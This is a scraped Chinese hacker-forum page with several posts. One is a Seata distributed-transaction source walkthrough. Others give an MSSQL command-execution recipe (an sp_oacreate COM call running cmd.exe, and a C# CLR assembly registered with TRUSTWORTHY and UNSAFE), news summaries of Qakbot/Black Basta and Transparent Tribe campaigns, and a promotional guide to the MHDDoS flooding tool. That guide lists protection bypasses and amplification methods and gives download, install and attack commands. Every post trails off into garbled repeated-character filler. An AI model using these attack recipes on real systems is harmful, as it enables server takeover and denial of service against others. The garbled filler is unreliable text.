CNHAT的内容 - 黑客中文论坛网站

官网地址：https://seata.apache.org/zh-cn/ AT模式优点：无侵入式代码，只需要添加注解，底层采用Seata代理的数据源DataSourceProxy 缺点：依赖于数据库，目前只适用于postgresql、oracle、mysql、polardb-x、sqlserver、达梦数据库等数据库，比如业务逻辑中含有redis、es等操作需要控制事务，无法实现，可以使用TCC模式客户端 <dependency> <groupId>io.seata</groupId> <artifactId>seata-spring-boot-starter</artifactId> <version>2.0.0</version> </dependency> 首先从源码查起，自动配置首先可以看到这两个，是比较核心的，SeataAutoConfiguration负责扫描@GlobalTransactional注解以及@GlobalLock注解，生成代理类，SeataDataSourceAutoConfiguration主要生成DataSourceProxy代理类以及PreparedStatementProxy或StatementProxy都使用的是Seata的代理类 io.seata.spring.boot.autoconfigure.SeataAutoConfiguration, io.seata.spring.boot.autoconfigure.SeataDataSourceAutoConfiguration, GlobalTransactionScanner类会首先扫描带@GlobalTransactional注解的类，其次在bean注入完成后注册TM以及RM，主要逻辑还是生成GlobalTransactional注解的代理方法首先会在postProcessAfterInitialization初始化之后wrapIfNecessary也就是包装一层，这个方法所有bean都会执行一遍，为了过滤会进行一次初步筛选会对包名判断以及去除Configuration类，然后会判断是否存在GlobalTransactional或GlobalLock注解，代理最重要的MethodInterceptor，所有的处理逻辑都将会在这个拦截器执行只不过这里大概封装了三四层，因为TCC需要走不同的逻辑，这里以官网例子举例，当调用purchase方法时会执行GlobalTransactionalInterceptorHandler#doInvoke方法然后执行TransactionalTemplate#execute,首先判断事务的传播机制，默认为REQUIRED，会创建新的事务，以下为代理方法的核心逻辑，创建分布式事务，提交事务以及回滚事务 beginTransaction表示开启事务，第一次与服务端交互，拿到全局锁，返回一个xid，第二步business.execute表示执行真正执行purchase方法，但是执行的过程中务必会有数据库的操作，所以先看DataSource的代理逻辑 DataSource方法代理同上，继承了AbstractAutoProxyCreator，如果判断bean类型为DataSource，生成代理类之后放入DataSourceProxyHolder，类型为<origin, proxy>的缓存当中，当调用DataSource方法的时候，再从DataSourceProxyHolder取出来，这样实际调用的就是代理类的方法，其中DataSourceProxy中Connection以及Statement均用的seata的代理类这里以更新为例，扣减库存数量，库存-2 最终执行executeUpdate方法，在获取Connection的时候获取到的是代理之后的ConnectionProxy 一阶段 ExecuteTemplate#execute方法会判断执行sql类型，以UpdateExecutor为例，下面再执行sql的时候添加了额外的逻辑，这也是AT模式可以回滚的关键， statementCallback.execute会在执行业务sql的前后添加镜像，首先看beforeImage，还是以update为例，beforeImage记录更新之前的数据，在更新之前会先查询表结构，获得当前事务表的所有列及索引，但是这里查询结构不是通过information_schema.tables，以stock_tbl 为例执行的sql为SELECT * FROM stock_tbl LIMIT 1，再通过ResultSetMetaData以及DatabaseMetaData可以获得当前表的所有列及索引，当然这不是每次执行都必须的，只有第一次会查询limit 1语句，后续会放入本地缓存caffeine中,然后根据where条件以及索引来生成查询语句，执行查询得到记录生成beforeImage SELECT id, count FROM stock_tbl WHERE commodity_code = ? FOR UPDATE 然后执行业务代码，执行完成之后生成afterImage，通过beforeImage和afterImage生成undolog 然后执行代理类的事务提交，在提交的时候也大有来头，首先向TM注入分支，然后插入undo_log，这个Insert会加入当前事务，可以通过 select * from performance_schema.data_locks 查看当前锁如果在commit当前本地事务的时候发生异常，会上报给TM,会立马进行回滚本地事务, 二阶段—提交当所有一阶段执行完成之后，由TM开始提交全局事务，TransactionalTemplate#execute 然后TC会向RM发起分支提交请求，在AbstractNettyRemoting#processMessage收到消息之后进行分支的提交，在异步任务提交的时候，AsyncWorker#dealWithGroupedContexts 同时会删除undo_log日志，至此，提交完事务，整个流程就结束了二阶段-回滚如果执行过程中发生了满足条件的异常，TM会向TC发送异常回滚的请求，收到TC回滚请求的RM通过XID与branchId查找undoLog DataSourceManager#branchRollback 会拿到后镜像与当前数据进行做对比，如果一致，说明被当前事务之外的操作做了处理，如果不一致生成回滚sql，并且删除当前undolog,提交事务并将结果上报给TC 官网网地地址官网地网地址官网地址模式优点无侵侵入入式式代代码无侵入侵入式入式代式代码无侵入式侵入式代入式代码只需需要要添添加加注注解只需要需要添要添加添加注加注解只需要添需要添加要添加注添加注解底层层采采用底层采层采用底层采用代理理的的数数据据源代理的理的数的数据数据源代理的数理的数据的数据源缺点依赖赖于于数据库依赖于赖于数于数据数据库依赖于数赖于数据于数据库目前前只只适适用用于目前只前只适只适用适用于目前只适前只适用只适用于达梦梦数库等等数达梦数梦数据据库等库等数等数据达梦数据梦数据库数据库等据库等数库等数据等数据库比如如业业务务逻逻辑辑中中含含有比如业如业务业务逻务逻辑逻辑中辑中含中含有比如业务如业务逻业务逻辑务逻辑中逻辑中含辑中含有等操操作作需要控控制制事事务等操作操作需作需要需要控要控制控制事制事务等操作需操作需要作需要控需要控制要控制事控制事务无法法实实现无法实法实现无法实现可以以使使用可以使以使用可以使用客户户端客户端首先先从从源源码码查查起首先从先从源从源码源码查码查起首先从源先从源码从源码查源码查起自动动配配置置首先可以看看到到这这两两个自动配动配置配置首置首先首先可先可以可以看以看到看到这到这两这两个自动配置动配置首配置首先置首先可首先可以先可以看可以看到以看到这看到这两到这两个是比比较较核核心心的是比较比较核较核心核心的是比较核比较核心较核心的负责责扫扫描负责扫责扫描负责扫描解以以及注解以解以及注解以及生成成代理类生成代成代理代理类生成代理成代理类主要要生主要生要生成主要生成类以理类以类以及代理类以理类以及都使用的的是都使用使用的用的是都使用的使用的是的代的代理的代理类类会会首先扫描带类会首会首先首先扫先扫描扫描带类会首先会首先扫首先扫描先扫描带解的的类注解的解的类注解的类其次次在其次在注入入完完成成后注入完入完成完成后注入完成入完成后注册要逻辑还还是是生主要逻要逻辑逻辑还辑还是还是生是生成主要逻辑要逻辑还逻辑还是辑还是生还是生成理方方法解的代代理方理方法注解的代解的代理的代理方代理方法先会会在首先会先会在首先会在初始始化化之之后初始化始化之化之后初始化之始化之后也就就是是包包装装一一层也就是就是包是包装包装一装一层也就是包就是包装是包装一包装一层这个个方法所所有这个方个方法方法所法所有这个方法个方法所方法所有都会会执执行行一一遍都会执会执行执行一行一遍都会执行会执行一执行一遍为了了过过滤滤会会进进行一次次初初步步筛筛选为了过了过滤过滤会滤会进会进行进行一行一次一次初次初步初步筛步筛选为了过滤了过滤会过滤会进滤会进行会进行一进行一次行一次初一次初步次初步筛初步筛选会对对包包名名判判断断以及去去除会对包对包名包名判名判断判断以断以及以及去及去除会对包名对包名判包名判断名判断以判断以及断以及去以及去除然后后会会判断是是否否存存在然后会后会判会判断判断是断是否是否存否存在然后会判后会判断会判断是判断是否断是否存是否存在理最最重重要要的代理最理最重最重要重要的代理最重理最重要最重要的有的的处处理理逻辑都都将将会在这个拦拦截截器器执行只只不不过过这这里里大大概概封封装装了了三三四四层所有的有的处的处理处理逻理逻辑逻辑都辑都将都将会将会在会在这在这个这个拦个拦截拦截器截器执器执行执行只行只不只不过不过这过这里这里大里大概大概封概封装封装了装了三了三四三四层所有的处有的处理的处理逻处理逻辑理逻辑都逻辑都将辑都将会

2025年1月23日1年前

利用COM执行命令（需要开启Ole Automation Procedures组件） declare @luan int,@exec int,@text int,@str varchar(8000); exec sp_oacreate '{72C24DD5-D70A-438B-8A42-98424B88AFB8}',@luan output; exec sp_oamethod @luan,'exec',@exec output,'C:\\Windows\\System32\\cmd.exe /c whoami'; exec sp_oamethod @exec, 'StdOut', @text out; exec sp_oamethod @text, 'readall', @str out; select @str; 没有开启Ole Automation Procedures，可以用下面的命令开启 sp_configure 'show advanced options', 1; GO RECONFIGURE; GO sp_configure 'Ole Automation Procedures', 1; GO RECONFIGURE; GO 编写CLR实现执行命令编写语言：C# Vs创建类库 using System; using System.Collections.Generic; using System.Linq; using System.Text; using System; using System.Threading.Tasks; namespace shellexec { public class exec { public static string cmd(string command) { System.Diagnostics.Process pro = new System.Diagnostics.Process(); pro.StartInfo.FileName = "cmd.exe"; pro.StartInfo.UseShellExecute = false; pro.StartInfo.RedirectStandardError = true; //标准错误 pro.StartInfo.RedirectStandardInput = true; //标准输入 pro.StartInfo.RedirectStandardOutput = true; //标准输出 pro.StartInfo.CreateNoWindow = true; //是否在新窗口开启进程 pro.Start(); pro.StandardInput.WriteLine(command + "&&exit"); //命令参数写入 pro.StandardInput.AutoFlush = true; //缓冲区自动刷新 string output = pro.StandardOutput.ReadToEnd(); //读取执行结果 pro.WaitForExit(); //等待执行完成退出 pro.Close(); return output.ToString(); } } } 生成dll后，可以用hex的方法写到目标，或者shell上传。然后开始构造 1.目标数据库实例需要启用clr集成 exec sp_configure 'clr enabled', 1;--在SQL Server中启用CLR reconfigure; go 2.目标数据库的可信任属性需要设为false,可以使用以下语句启用 ALTER DATABASE [<数据库名称>] SET TRUSTWORTHY ON 3.在数据库中注册DLL CREATE ASSEMBLY MySqlCLR FROM '<dll的路径>' //MySqlCLR为导入dll后的变量名称 4.创建函数（根据对应函数的类型的参数构造对应的参数类型，然后RETURNS [nvarchar] (max)记得设置为返回最大如果是返回string类型的话），在直接这个dll的名称在那个命名空间、类、函数） CREATE FUNCTION [dbo].[cmd2] ( @cmd AS NVARCHAR(max) ) RETURNS [nvarchar] (max) WITH EXECUTE AS CALLER AS EXTERNAL NAME [MySqlCLR].[shellexec.exec].cmd //shellexec为命名空间，exec为类名，cmd为函数名 GO 5.程序集的权限级别必须设为 external access,否则在部署的时候会报错 ALTER ASSEMBLY [MySqlCLR] WITH PERMISSION_SET = UNSAFE 6.调用存储过程和函数方法 select [dbo].[cmd2]('whoami') 利用执行行命命令执行命行命令执行命令需要要开开启需要开要开启需要开启组件没有有开没有开有开启没有开启可以以用用下下面面的的命令开可以用以用下用下面下面的面的命的命令命令开令开启可以用下以用下面用下面的下面的命面的命令的命令开命令开启编写实现现执实现执现执行实现执行现执行命写语语言编写语写语言编写语言创建建类类库创建类建类库创建类库标准准错错误标准错准错误标准错误准输输入标准输准输入标准输入输出准输出标准输出是否否在在新新窗窗口口开启进进程是否在否在新在新窗新窗口窗口开口开启开启进启进程是否在新否在新窗在新窗口新窗口开窗口开启口开启进开启进程令参参数数写写入命令参令参数参数写数写入命令参数令参数写参数写入缓冲冲区区自自动动刷刷新缓冲区冲区自区自动自动刷动刷新缓冲区自冲区自动区自动刷自动刷新读取取执行结结果读取执取执行执行结行结果读取执行取执行结执行结果等待待执行完完成成退退出等待执待执行执行完行完成完成退成退出等待执行待执行完执行完成行完成退完成退出生成的方方法法写写到到目目标的方法方法写法写到写到目到目标的方法写方法写到法写到目写到目标或者上传然后后开开始始构构造然后开后开始开始构始构造然后开始后开始构开始构造标数数据据库库实实例例需要启启用目标数标数据数据库据库实库实例实例需例需要需要启要启用目标数据标数据库数据库实据库实例库实例需实例需要例需要启需要启用集成中启中启用库的的可可信信任任属属性性需要设设为据库的库的可的可信可信任信任属任属性属性需性需要需要设要设为数据库的据库的可库的可信的可信任可信任属信任属性任属性需属性需要性需要设需要设为以使使用用以以下下语语句句启可以使以使用使用以用以下以下语下语句语句启句启用可以使用以使用以使用以下用以下语以下语句下语句启语句启用库名名称据库名库名称数据库名据库名称在数库中中注注册在数据据库中库中注中注册在数据库数据库中据库中注库中注册的路路径的路径为导导入为导入后的的变变量量名后的变的变量变量名量名称后的变量的变量名变量名称建函函数创建函建函数创建函数根据据对对应应函数的的类类型型的的参数构造对应的数类根据对据对应对应函应函数函数的数的类的类型类型的型的参的参数参数构数构造构造对造对应对应的应的参参数类数类型根据对应据对应函对应函数应函数的函数的类数的类型的类型的类型的参型的参数的参数构参数构造数构造对构造对应造对应的对应的参应的参数的参数类参数类型记得得设设置置为为返返回回最最大大如如果果是是返记得设得设置设置为置为返为返回返回最回最大最大如大如果如果是果是返是返回记得设置得设置为设置为返置为返回为返回最返回最大回最大如最大如果大如果是如果是返果是返回的话型的话类型的话在直直接接这这个在直接直接这接这个在直接这直接这个的名称在在那那个个命命名名空空间的名称名称在称在那在那个那个命个命名命名空名空间的名称在名称在那称在那个在那个命那个命名个命名空命名空间为命为命名为命名空为类类名为类名为函数名为函数函数名为函数名程序序集集的的权权限限级级别别必必须须设程序集序集的集的权的权限权限级限级别级别必别必须必须设须设为程序集的序集的权集的权限的权限级权限级别限级别必级别必须别必须设必须设为否则则在在部部署署的的时时候候会会报报错否则在则在部在部署部署的署的时的时候时候会候会报会报错否则在部则在部署在部署的部署的时署的时候的时候会时候会报候会报错调用用存存储储过过程程和和函数方调用存用存储存储过储过程过程和程和函和函数

2022年11月25日3年前

位于美国的公司一直处于“激进的”Qakbot 恶意软件活动的接收端，该活动导致受感染网络上的 Black Basta 勒索软件感染。 Cybereason 研究人员 Joakim Kandefelt 和 Danielle Frankel在与黑客新闻分享的一份报告中说： “在最近的这次活动中，Black Basta 勒索软件团伙正在使用 QakBot 恶意软件创建初始入口点并在组织网络内横向移动。” 2022 年 4 月出现的 Black Basta 遵循久经考验的双重勒索方法，从目标公司窃取敏感数据，并以此为杠杆，通过威胁发布被盗信息来勒索加密货币支付。这不是第一次观察到勒索软件团队使用 Qakbot（又名 QBot、QuackBot 或 Pinkslipbot）。上个月，趋势科技披露了类似的攻击，这些攻击需要使用 Qakbot 来提供Brute Ratel C4框架，而该框架又被用来放弃 Cobalt Strike。 Cybereason 观察到的入侵活动从等式中删除了 Brute Ratel C4，而是使用 Qakbot 直接在受感染环境中的多台机器上分发 Cobalt Strike。攻击链从一封带有恶意磁盘映像文件的鱼叉式网络钓鱼电子邮件开始，该文件在打开时启动 Qbot 的执行，而 Qbot 则连接到远程服务器以检索 Cobalt Strike 有效载荷。在此阶段，执行凭证收集和横向移动活动以将红队框架放置在多个服务器上，然后使用收集到的密码破坏尽可能多的端点并启动 Black Basta 勒索软件。研究人员指出：“威胁行为者在不到两小时内获得了域管理员权限，并在不到 12 小时内转移到勒索软件部署，”并补充说，过去两周有 10 多个不同的客户受到了新一轮攻击的影响。在以色列网络安全公司发现的两个实例中，入侵不仅部署了勒索软件，还通过禁用 DNS 服务将受害者锁定在他们的网络之外，以使恢复更具挑战性。 Black Basta 仍然是一个非常活跃的勒索软件攻击者。根据Malwarebytes收集的数据，勒索软件卡特尔仅在 2022 年 10 月就成功地将 25 家公司作为目标，排在LockBit、Karakurt和BlackCat 之后。位于于美美国国的的公公司司一一直直处处于位于美于美国美国的国的公的公司公司一司一直一直处直处于位于美国于美国的美国的公国的公司的公司一公司一直司一直处一直处于激进进的激进的恶意意软软件件活活动动的的接接收收端恶意软意软件软件活件活动活动的动的接的接收接收端恶意软件意软件活软件活动件活动的活动的接动的接收的接收端该活动导导致致受受感感染染网网络络上上的该活动活动导动导致导致受致受感受感染感染网染网络网络上络上的该活动导活动导致动导致受导致受感致受感染受感染网感染网络染网络上网络上的勒索索软件感勒索软索软件软件感件感染勒索软件索软件感软件感染研究究人人员研究人究人员研究人员在与与黑黑客客新新闻闻分分享享的的一一份份报报告告中中说在与黑与黑客黑客新客新闻新闻分闻分享分享的享的一的一份一份报份报告报告中告中说在与黑客与黑客新黑客新闻客新闻分新闻分享闻分享的分享的一享的一份的一份报一份报告份报告中报告中说在最最近近的的这这次次活动中在最近最近的近的这的这次这次活次活动活动中在最近的最近的这近的这次的这次活这次活动次活动中件团团伙伙正正在在使使用软件团件团伙团伙正伙正在正在使在使用索软件团软件团伙件团伙正团伙正在伙正在使正在使用件创创建建初初始始入入口口点点并并在在组组织织网络内内横横向向移移动软件创件创建创建初建初始初始入始入口入口点口点并点并在并在组在组织组织网织网络网络内络内横内横向横向移向移动意软件创软件创建件创建初创建初始建初始入初始入口始入口点入口点并口点并在点并在组并在组织在组织网组织网络织网络内网络内横络内横向内横向移横向移动月出出现现的月出现出现的月出现的遵循循久久经经考考验验的的双双重重勒索方方法遵循久循久经久经考经考验考验的验的双的双重双重勒重勒索勒索方索方法遵循久经循久经考久经考验经考验的考验的双验的双重的双重勒双重勒索重勒索方勒索方法从目目标标公司窃窃取取敏敏感感数数据从目标目标公标公司公司窃司窃取窃取敏取敏感敏感数感数据从目标公目标公司标公司窃公司窃取司窃取敏窃取敏感取敏感数敏感数据并以以此此为为杠杠杆并以此以此为此为杠为杠杆并以此为以此为杠此为杠杆通过过威威胁胁发发布布被被盗盗信信息息来来勒索加加密密货货币币支支付通过威过威胁威胁发胁发布发布被布被盗被盗信盗信息信息来息来勒来勒索勒索加索加密加密货密货币货币支币支付通过威胁过威胁发威胁发布胁发布被发布被盗布被盗信被盗信息盗信息来信息来勒息来勒索来勒索加勒索加密索加密货加密货币密货币支货币支付这不不是是第第一一次次观观察察到到勒团队队使这不是不是第是第一第一次一次观次观察观察到察到勒到勒索件团队团队使队使用这不是第不是第一是第一次第一次观一次观察次观察到观察到勒察到勒索到勒索软软件团队件团队使团队使用又名上个个月上个月趋势势科科技技披披露露了了类类似似的的攻攻击趋势科势科技科技披技披露披露了露了类了类似类似的似的攻的攻击趋势科技势科技披科技披露技披露了披露了类露了类似了类似的类似的攻似的攻击这些些攻击需需要要使这些攻些攻击攻击需击需要需要使要使用这些攻击些攻击需攻击需要击需要使需要使用来提提供来提供框架而该该框架又又被被用用来来放放弃而该框该框架框架又架又被又被用被用来用来放来放弃而该框架该框架又框架又被架又被用又被用来被用来放用来放弃到的的入入侵侵活动从从等等式式中中删删除除了察到的到的入的入侵入侵活侵活动活动从动从等从等式等式中式中删中删除删除了观察到的察到的入到的入侵的入侵活入侵活动侵活动从活动从等动从等式从等式中等式中删

2022年11月25日3年前

为什么会有这种问题。。为什什么么会会有有这这种种问问题为什么什么会么会有会有这有这种这种问种问题为什么会什么会有么会有这会有这种有这种问这种问题

2022年11月17日3年前
8篇回复

为什么会有这种问题。。为什什么么会会有有这这种种问问题为什么什么会么会有会有这有这种这种问种问题为什么会什么会有么会有这会有这种有这种问这种问题

2022年11月17日3年前
8篇回复

强！

2022年11月5日4年前
1篇回复

透明部落威胁参与者与针对印度政府组织的新活动有关，该活动使用名为Kavach的双因素身份验证解决方案的木马化版本。 Zscaler ThreatLabz 研究员 Sudeep Singh在周四的分析中表示： “该组织滥用 Google 广告进行恶意广告，以分发 Kavach 多重身份验证 (MFA) 应用程序的后门版本。” 这家网络安全公司表示，高级持续性威胁组织还进行了小规模的凭据收集攻击，其中建立了伪装成印度政府官方网站的流氓网站，以引诱不知情的用户输入密码。透明部落，也被称为 APT36、C-Major 和 Mythic Leopard 的绰号，是一个可疑的巴基斯坦敌对团体，有打击印度和阿富汗实体的历史。最新的攻击链并不是威胁行为者第一次将目光投向 Kavach（在印地语中意为“盔甲”），这是一个强制应用程序，用户必须在 @gov.in 和 @nic.in 域上拥有电子邮件地址才能签名进入电子邮件服务作为第二层身份验证。今年 3 月初，Cisco Talos发现了一场黑客活动，该活动使用 Kavach 的假 Windows 安装程序作为诱饵，用 CrimsonRAT 和其他人工制品感染政府人员。他们常用的策略之一是模仿合法的政府、军队和相关组织来激活杀伤链。威胁行为者进行的最新活动也不例外。 “威胁行为者注册了多个新域托管伪装成官方 Kavach 应用程序下载门户的网页，”辛格说。“他们滥用 Google Ads 的付费搜索功能，将恶意域名推到印度用户的 Google 搜索结果顶部。” Since May 2022, Transparent Tribe is also said to have distributed backdoored versions of the Kavach app through attacker-controlled application stores that claim to offer free software downloads. This website is also surfaced as a top result in Google searches, effectively acting as a gateway to redirect users looking for the app to the .NET-based fraudulent installer. The group, beginning August 2022, has also been observed using a previously undocumented data exfiltration tool codenamed LimePad, which is designed to upload files of interest from the infected host to the attacker's server. Zscaler said it also ⁯identified a domain registered by Transparent Tribe spoofing the login page of the Kavach app that was only displayed accessed from an Indian IP address, or else redirected the visitor to the home page of India's National Informatics Centre (NIC). The page, for its part, is equipped to capture the credentials entered by the victim and send them to a remote server for carrying out further attacks against government-related infrastructure. The use of Google ads and LimePad points to the threat actor's continued attempts at evolving and refining its tactics and malware toolset. “APT-36 仍然是最流行的高级持续性威胁组织之一，专注于针对在印度政府组织工作的用户，”辛格说。“印度政府组织内部使用的应用程序是 APT-36 小组使用的社会工程主题的热门选择。” 透明明部部落落威威胁胁参参与与者者与与针针对对印印度度政政府府组组织织的的新新活活动动有有关透明部明部落部落威落威胁威胁参胁参与参与者与者与者与针与针对针对印对印度印度政度政府政府组府组织组织的织的新的新活新活动活动有动有关透明部落明部落威部落威胁落威胁参威胁参与胁参与者参与者与与者与针者与针对与针对印针对印度对印度政印度政府度政府组政府组织府组织的组织的新织的新活的新活动新活动有活动有关该活动使使用用名名为该活动活动使动使用使用名用名为该活动使活动使用动使用名使用名为的双双因因素素身身份份验验证证解解决决方方案案的的木木马马化化版版本的双因双因素因素身素身份身份验份验证验证解证解决解决方决方案方案的案的木的木马木马化马化版化版本的双因素双因素身因素身份素身份验身份验证份验证解验证解决证解决方解决方案决方案的方案的木案的木马的木马化木马化版马化版本研究究员研究员在周周四四的的分分析析中中表表示在周四周四的四的分的分析分析中析中表中表示在周四的周四的分四的分析的分析中分析中表析中表示该组织滥滥用该组织组织滥织滥用该组织滥组织滥用广告告进进行行恶恶意意广广告进告进行进行恶行恶意恶意广意广告广告进行告进行恶进行恶意行恶意广恶意广告以分分发以分发多重重身多重身重身份多重身份重身份验应用用程程序序的的后后门门版应用程用程序程序的序的后的后门后门版门版本应用程序用程序的程序的后序的后门的后门版后门版本这家家网网络络安安全全公公司司表这家网家网络网络安络安全安全公全公司公司表司表示这家网络家网络安网络安全络安全公安全公司全公司表公司表示高级级持持续续性性威胁组织还还进行了了小小规规模模的的凭凭据据收收集集攻攻击高级持级持续持续性续性威性威胁威胁组胁组织组织还织还进还进行进行了行了小了小规小规模规模的模的凭的凭据凭据收据收集收集攻集攻击高级持续级持续性持续性威续性威胁性威胁组威胁组织胁组织还组织还进织还进行还进行了进行了小行了小规了小规模小规模的规模的凭模的凭据的凭据收凭据收集据收集攻收集攻击其中中建建立立了了伪伪装装成成印府官官方方网网站站的的流流氓氓网其中建中建立建立了立了伪了伪装伪装成装成印成印度政府官府官方官方网方网站网站的站的流的流氓流氓网氓网站其中建立中建立了建立了伪立了伪装了伪装成伪装成印装成印度成印度政度政府官政府官方府官方网官方网站方网站的网站的流站的流氓的流氓网流氓网站以引引诱诱不不知知情情的的用用户户输输入入密密码以引诱引诱不诱不知不知情知情的情的用的用户用户输户输入输入密入密码以引诱不引诱不知诱不知情不知情的知情的用情的用户的用户输用户输入户输入密输入密码也被被称称为也被称被称为也被称为的绰绰号的绰号是一一个个可可疑疑的的巴巴基基斯斯坦坦敌敌对对团团体是一个一个可个可疑可疑的疑的巴的巴基巴基斯基斯坦斯坦敌坦敌对敌对团对团体是一个可一个可疑个可疑的可疑的巴疑的巴基的巴基斯巴基斯坦基斯坦敌斯坦敌对坦敌对团敌对团体有打打击击印度和和阿阿富富汗汗实实体体的的历历史有打击打击印击印度印度和度和阿和阿富阿富汗富汗实汗实体实体的体的历的历史有打击印打击印度击印度和印度和阿度和阿富和阿富汗阿富汗实富汗实体汗实体的实体的历体的历史最新新的的攻击链链并并不不是是威胁行行为为者者第第一一次次将将目目光光投投向最新的新的攻的攻击攻击链击链并链并不并不是不是威是威胁威胁行胁行为行为者为者第者第一第一次一次将次将目将目光目光投光投向最新的攻新的攻击的攻击链攻击链并击链并不链并不是并不是威不是威胁是威胁行

2022年11月4日4年前

注意事项: 仅可作为研究具备授权的测试使用。未经所有者同意，请勿用于攻击。特点和方法 ?第 7 层 GET|GET洪水 POST| POST洪水 OVH | 绕过OVH RHEX | 随机十六进制 STOMP | 绕过 chk_captcha STRESS | 发送高字节的 HTTP 数据包 DYN | 一种带有随机子域的新方法 DOWNLOADER | 一种慢读数据的新方法 SLOW | Slowloris 旧的 DDoS 方法 HEAD | hdeveloper.mozilla.org/en-US/docs/Web/HTTP/Methods/HEAD NULL | 空用户代理和… COOKIE | 随机 Cookie PHP ‘if (isset($_COOKIE))’ PPS | 只有 ‘GET / HTTP/1.1\r\n\r\n’ EVEN | 带有更多标头的 GET 方法 GSB | 谷歌项目屏蔽绕过 DGB | DDoS 防护绕过 AVB | Arvan 云绕过 BOT | 像谷歌机器人阿帕奇 | 阿帕奇漏洞 XMLRPC | WP XMLRPC expliot（添加 /xmlrpc.php） CFB | CloudFlare 绕过 CFBUAM | 攻击模式下的 CloudFlare 绕过 BYPASS | 绕过正常的AntiDDoS BOMB | 绕过codeenberg/bombardier ?KILLER | 运行多个线程来杀死一个目标 ?TOR | 绕过洋葱网站 ?第 4 层：技术支持 | TCP 洪水绕过 UDP | UDP洪水绕过 SYN | SYN 洪水 CPS | 使用代理打开和关闭连接 ICMP | Icmp 回显请求洪水（Layer3）连接| 使用代理打开连接 VSE | 发送 Valve Source Engine 协议 TS3 | 发送 Teamspeak 3 状态 Ping 协议 FIVEM | 发送 Fivem 状态 Ping 协议 MEM | Memcached 放大 NTP | NTP 放大 MCBOT | 我的世界机器人攻击 MINECRAFT | Minecraft 状态 Ping 协议 MCPE | Minecraft PE 状态 Ping 协议 DNS | DNS 放大 CHAR | 电荷放大 CLDAP | Cldap扩增 ARD | Apple 远程桌面放大攻击 RDP | 远程桌面协议放大攻击 ⚙️工具 – 运行 python3 start.py tools ?CFIP | 查找由 Cloudflare 提供支持的网站的真实 IP 地址 ?DNS | 显示站点的 DNS 记录 ? TSSRV | TeamSpeak SRV 解析器 ⚠ PING | PING 服务器 ?CHECK | 检查网站状态 ?DSTAT | 显示接收的字节数、发送的字节数及其数量 ?其他 ❌STOP | 停止所有攻击 ?TOOLS | 控制台工具 ?HELP | 显示使用脚本安装条件 Requirements dnspython cfscrape impacket requests Python3 PyRoxy icmplib certifi psutil yarl 下载地址 github.com/MatrixTM/MHDDoS 2.4.zip 云中转网盘: yunzhongzhuan.com/#sharefile=Ac5FNRm3_98239 解压密码:www.ddosi.org 安装方法自动安装 git clone https://github.com/MatrixTM/MHDDoS.git cd MHDDoS pip install -r requirements.txt DockerFile docker pull ghcr.io/mhprodev/mhddos:latest 手动安装 python3 -m pip install cfscrape<=2.1.1 python3 -m pip install certifi<=2021.10.8 python3 -m pip install dnspython>=2.2.0 python3 -m pip install requests==2.27.1 python3 -m pip install impacket==0.9.23 python3 -m pip install psutil>=5.9.0 python3 -m pip install icmplib>=2.1.1 python3 -m pip install git+https://github.com/MHProDev/PyRoxy.git python3 -m pip install yarl~=1.7.2 VPS 上的单行安装 apt -y update && apt -y install curl wget libcurl4 libssl-dev python3 python3-pip make cmake automake autoconf m4 build-essential ruby perl golang git && git clone https://github.com/MatrixTM/MHDDoS.git && cd MH* && pip3 install -r requirements.txt 使用方法视频 Aparat：https ://www.aparat.com/v/bHcP9 教程 Aparat：https ://aparat.com/v/XPn5Z 文档: https://github.com/MatrixTM/MHDDoS/wiki 脚本用法第七层： python3 start.py <1=method> <2=url> <3=socks_type> <4=threads> <5=proxylist> <6=rpc> <7=duration> <8=debug=optional> 1：方法（攻击类型） 2：目标 URL 或 IP 地址 3：代理版本（代理使用） 4：代理文件（代理文件格式） 5：要使用的线程数（多线程） 6：RPC（请求预连接） 7：持续时间（以秒为单位完成攻击的时间） 8：调试模式（可选）第 4 层正常： python3 start.py <1=method> <2=ip:port> <3=threads> <4=duration> <5=debug=optional> 1：方法（攻击类型） 2：目标 URL 或 IP 地址 3：要使用的线程数（多线程） 4：持续时间（以秒为单位完成攻击的时间） 5：调试模式（可选 –什么是调试模式）第 4 层代理： python3 start.py <1=method> <2=ip:port> <3=threads> <4=duration> <5=socks_type> <6=proxylist> <7=debug=optional> 1：方法（攻击类型） 2：目标 URL 或 IP 地址 3：要使用的线程数（多线程） 4：持续时间（以秒为单位完成攻击的时间） 5：代理版本（代理使用） 6：代理文件（代理文件格式） 7：调试模式（可选）第 4 层放大： python3 MHDDoS/start.py <1=method> <2=ip:port> <3=threads> <4=duration> <5=reflector file> <6=debug=optional> 1：方法（攻击类型） 2：目标 URL 或 IP 地址 3：要使用的线程数（多线程） 4：持续时间（以秒为单位完成攻击的时间） 5：反射器文件（反射器文件） 6：调试模式（可选）使用示例第 7 层（网站）： # Running bypass attack from 101 threads, # with socks 5, 100 requests per proxy (connection), for 3600 seconds python start.py bypass https://example.com 5 101 socks5.txt 100 3600 # Running bomb attack from 50 threads (be careful must be < 300) # with all proxies (0), 100 requests per proxy (connection), for 3600 seconds python start.py bomb https://example.com 0 50 proxy.txt 100 3600 第 4 层（服务器/家庭）： # Running udp attack from 1 threads, for 3600 seconds python start.py udp 1.1.1.1:53 1 3600 # Running dns attack from 100 threads, for 3600 seconds # with reflector servers from dns.txt, for 3600 seconds python start.py dns 1.1.1.1:53 100 3600 dns.txt # Running minecraft attack from 1000 threads # with socks 5, for 3600 seconds python start.py minecraft 1.1.1.1:53 1000 3600 5 socks5.txt 调试模式（攻击状态日志） python start.py bypass https://example.com 5 1000 socks5.txt 100 100 true python start.py udp 1.1.1.1:53 1 100 true python start.py dns 1.1.1.1:53 1 100 dns.txt true python start.py minecraft 1.1.1.1:53 1 100 5 socks5.txt true 帮助命令: python start.py tools python start.py help 代理支持清单代理文件格式: <Type>://<Host>:<Port>:<User=Optional>:<Password=Optional> 例如: socks5://1.1.1.1:20001 socks4://1.1.1.1:46527 http://1.1.1.1:443:username:password http://1.1.1.1:80 代理类型代理类型参数所有代理 0 HTTP 1 SOCKS4 4 SOCKS5 5 RANDOM 6 使用代理到第四层的方法代理类型 MINECRAFT MCBOT MEM RDP NTP TCP ARD VSE SYN UDP CHAR HTTP ✅ ✅ ❌ ❌ ❌ ✅ ❌ ❌ ❌ ❌ ❌ SOCKS4 ✅ ✅ ❌ ❌ ❌ ✅ ❌ ❌ ❌ ❌ ❌ SOCKS5 ✅ ✅ ❌ ❌ ❌ ✅ ❌ ❌ ❌ ❌ ❌ Proxy Type CONNECTION CPS DNS TS3 MCPE CLDAP FIVEM HTTP ✅ ✅ ❌ ❌ ❌ ❌ ❌ SOCKS4 ✅ 